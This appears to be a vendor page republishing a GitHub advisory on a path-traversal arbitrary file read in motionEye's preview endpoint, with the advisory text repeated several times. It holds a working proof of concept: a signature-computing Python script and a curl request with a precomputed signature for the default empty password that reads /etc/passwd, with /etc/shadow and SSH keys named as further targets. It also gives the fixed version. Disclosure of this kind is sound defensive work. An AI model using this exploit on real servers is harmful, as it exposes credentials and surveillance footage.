### Summary motionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user. ### Details The `get_media_content()` function properly validates the path: ```python # mediafiles.py ~line 506 — SAFE def get_media_content(camera_config, path, media_type): target_dir = camera_config['target_dir'] full_path = os.path.join(target_dir, path) if '..' in path: # <-- PATH TRAVERSAL CHECK PRESENT return None ... ``` But `get_media_preview()` does NOT: ```python # mediafiles.py ~line 910 — VULNERABLE def get_media_preview(camera_config, path, media_type, ...): target_dir = camera_config['target_dir'] full_path = os.path.join(target_dir, path) # <-- NO '..' CHECK ... ``` Similarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern. The exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado's URL router does NOT normalize — it passes the raw `../` through to `os.path.join()`. ### PoC **Step 1:** Authenticate as any user (normal or admin). **Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1("GET:<path>?_username=<user>::<password>")`. With the default empty admin password: ```python #!/usr/bin/env python3 """Signature generator for motionEye path traversal PoC""" import hashlib, re, urllib.parse _SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]\":, -]', re.DOTALL) def compute_signature(method, path, key=''): parts = list(urllib.parse.urlsplit(path)) query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature'] query.sort(key=lambda q: q[0]) query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query] query = '&'.join([(q[0] + '=' + q[1]) for q in query]) parts[0] = parts[1] = '' parts[3] = query path = urllib.parse.urlunsplit(parts) path = _SIGNATURE_REGEX.sub('-', path) key = _SIGNATURE_REGEX.sub('-', key) return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower() path = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin' sig = compute_signature('GET', path) print(f'Signature: {sig}') print(f'curl --path-as-is -s "http://TARGET:8765/{path}&_signature={sig}"') ``` **Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** — without it, curl normalizes `..%2F` and collapses the traversal before sending): ```bash # With default empty admin password, the signature is static: curl --path-as-is -s "http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c" ``` **Step 4:** The server returns the contents of `/etc/passwd`. **Verified output:** <img width="1743" height="410" alt="etc_passwd" src="https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64" /> > **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter. ### Impact An authenticated user (normal or admin) can read arbitrary files from the server, including: - `/etc/passwd` — user enumeration - `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext - `/etc/shadow` — password hashes (if running as root, which is default in Docker) - SSH keys, environment variables, and other sensitive configuration files - Surveillance footage from other cameras
### Summary motionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user. ### Details The `get_media_content()` function properly validates the path: ```python # mediafiles.py ~line 506 — SAFE def get_media_content(camera_config, path, media_type): target_dir = camera_config['target_dir'] full_path = os.path.join(target_dir, path) if '..' in path: # <-- PATH TRAVERSAL CHECK PRESENT return None ... ``` But `get_media_preview()` does NOT: ```python # mediafiles.py ~line 910 — VULNERABLE def get_media_preview(camera_config, path, media_type, ...): target_dir = camera_config['target_dir'] full_path = os.path.join(target_dir, path) # <-- NO '..' CHECK ... ``` Similarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern. The exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado's URL router does NOT normalize — it passes the raw `../` through to `os.path.join()`. ### PoC **Step 1:** Authenticate as any user (normal or admin). **Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1("GET:<path>?_username=<user>::<password>")`. With the default empty admin password: ```python #!/usr/bin/env python3 """Signature generator for motionEye path traversal PoC""" import hashlib, re, urllib.parse _SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]\":, -]', re.DOTALL) def compute_signature(method, path, key=''): parts = list(urllib.parse.urlsplit(path)) query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature'] query.sort(key=lambda q: q[0]) query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query] query = '&'.join([(q[0] + '=' + q[1]) for q in query]) parts[0] = parts[1] = '' parts[3] = query path = urllib.parse.urlunsplit(parts) path = _SIGNATURE_REGEX.sub('-', path) key = _SIGNATURE_REGEX.sub('-', key) return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower() path = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin' sig = compute_signature('GET', path) print(f'Signature: {sig}') print(f'curl --path-as-is -s "http://TARGET:8765/{path}&_signature={sig}"') ``` **Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** — without it, curl normalizes `..%2F` and collapses the traversal before sending): ```bash # With default empty admin password, the signature is static: curl --path-as-is -s "http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c" ``` **Step 4:** The server returns the contents of `/etc/passwd`. **Verified output:** <img width="1743" height="410" alt="etc_passwd" src="https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64" /> > **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter. ### Impact An authenticated user (normal or admin) can read arbitrary files from the server, including: - `/etc/passwd` — user enumeration - `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext - `/etc/shadow` — password hashes (if running as root, which is default in Docker) - SSH keys, environment variables, and other sensitive configuration files - Surveillance footage from other cameras
Update motioneye to 0.44.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanmotionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint affects motioneye (pip). Severity is medium. ### Summary motionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user. ### Details The `get_media_content()` function properly validates the path: ```python # mediafiles.py ~line 506 — SAFE def get_media_content(camera_config, path, media_type): target_dir = camera_config['target_dir'] full_path = os.path.join(target_dir, path) if '..' in path: # <-- PATH TRAVERSAL CHECK PRESENT return None ... ``` But `get_media_preview()` does NOT: ```python # mediafiles.py ~line 910 — VULNERABLE def get_media_preview(camera_config, path, media_type, ...): target_dir = camera_config['target_dir'] full_path = os.path.join(target_dir, path) # <-- NO '..' CHECK ... ``` Similarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern. The exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado's URL router does NOT normalize — it passes the raw `../` through to `os.path.join()`. ### PoC **Step 1:** Authenticate as any user (normal or admin). **Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1("GET:<path>?_username=<user>::<password>")`. With the default empty admin password: ```python #!/usr/bin/env python3 """Signature generator for motionEye path traversal PoC""" import hashlib, re, urllib.parse _SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]\":, -]', re.DOTALL) def compute_signature(method, path, key=''): parts = list(urllib.parse.urlsplit(path)) query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature'] query.sort(key=lambda q: q[0]) query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query] query = '&'.join([(q[0] + '=' + q[1]) for q in query]) parts[0] = parts[1] = '' parts[3] = query path = urllib.parse.urlunsplit(parts) path = _SIGNATURE_REGEX.sub('-', path) key = _SIGNATURE_REGEX.sub('-', key) return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower() path = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin' sig = compute_signature('GET', path) print(f'Signature: {sig}') print(f'curl --path-as-is -s "http://TARGET:8765/{path}&_signature={sig}"') ``` **Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** — without it, curl normalizes `..%2F` and collapses the traversal before sending): ```bash # With default empty admin password, the signature is static: curl --path-as-is -s "http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c" ``` **Step 4:** The server returns the contents of `/etc/passwd`. **Verified output:** <img width="1743" height="410" alt="etc_passwd" src="https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64" /> > **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter. ### Impact An authenticated user (normal or admin) can read arbitrary files from the server, including: - `/etc/passwd` — user enumeration - `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext - `/etc/shadow` — password hashes (if running as root, which is default in Docker) - SSH keys, environment variables, and other sensitive configuration files - Surveillance footage from other cameras
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| motioneyepip | <0.44.0 | 0.44.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate motioneye to 0.44.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanmotionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint affects motioneye (pip). Severity is medium. ### Summary motionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user. ### Details The `get_media_content()` function properly validates the path: ```python # mediafiles.py ~line 506 — SAFE def get_media_content(camera_config, path, media_type): target_dir = camera_config['target_dir'] full_path = os.path.join(target_dir, path) if '..' in path: # <-- PATH TRAVERSAL CHECK PRESENT return None ... ``` But `get_media_preview()` does NOT: ```python # mediafiles.py ~line 910 — VULNERABLE def get_media_preview(camera_config, path, media_type, ...): target_dir = camera_config['target_dir'] full_path = os.path.join(target_dir, path) # <-- NO '..' CHECK ... ``` Similarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern. The exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado's URL router does NOT normalize — it passes the raw `../` through to `os.path.join()`. ### PoC **Step 1:** Authenticate as any user (normal or admin). **Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1("GET:<path>?_username=<user>::<password>")`. With the default empty admin password: ```python #!/usr/bin/env python3 """Signature generator for motionEye path traversal PoC""" import hashlib, re, urllib.parse _SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]\":, -]', re.DOTALL) def compute_signature(method, path, key=''): parts = list(urllib.parse.urlsplit(path)) query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature'] query.sort(key=lambda q: q[0]) query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query] query = '&'.join([(q[0] + '=' + q[1]) for q in query]) parts[0] = parts[1] = '' parts[3] = query path = urllib.parse.urlunsplit(parts) path = _SIGNATURE_REGEX.sub('-', path) key = _SIGNATURE_REGEX.sub('-', key) return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower() path = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin' sig = compute_signature('GET', path) print(f'Signature: {sig}') print(f'curl --path-as-is -s "http://TARGET:8765/{path}&_signature={sig}"') ``` **Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** — without it, curl normalizes `..%2F` and collapses the traversal before sending): ```bash # With default empty admin password, the signature is static: curl --path-as-is -s "http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c" ``` **Step 4:** The server returns the contents of `/etc/passwd`. **Verified output:** <img width="1743" height="410" alt="etc_passwd" src="https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64" /> > **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter. ### Impact An authenticated user (normal or admin) can read arbitrary files from the server, including: - `/etc/passwd` — user enumeration - `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext - `/etc/shadow` — password hashes (if running as root, which is default in Docker) - SSH keys, environment variables, and other sensitive configuration files - Surveillance footage from other cameras
AI coding agents often install or upgrade packages automatically in pip. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| motioneyepip | <0.44.0 | 0.44.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard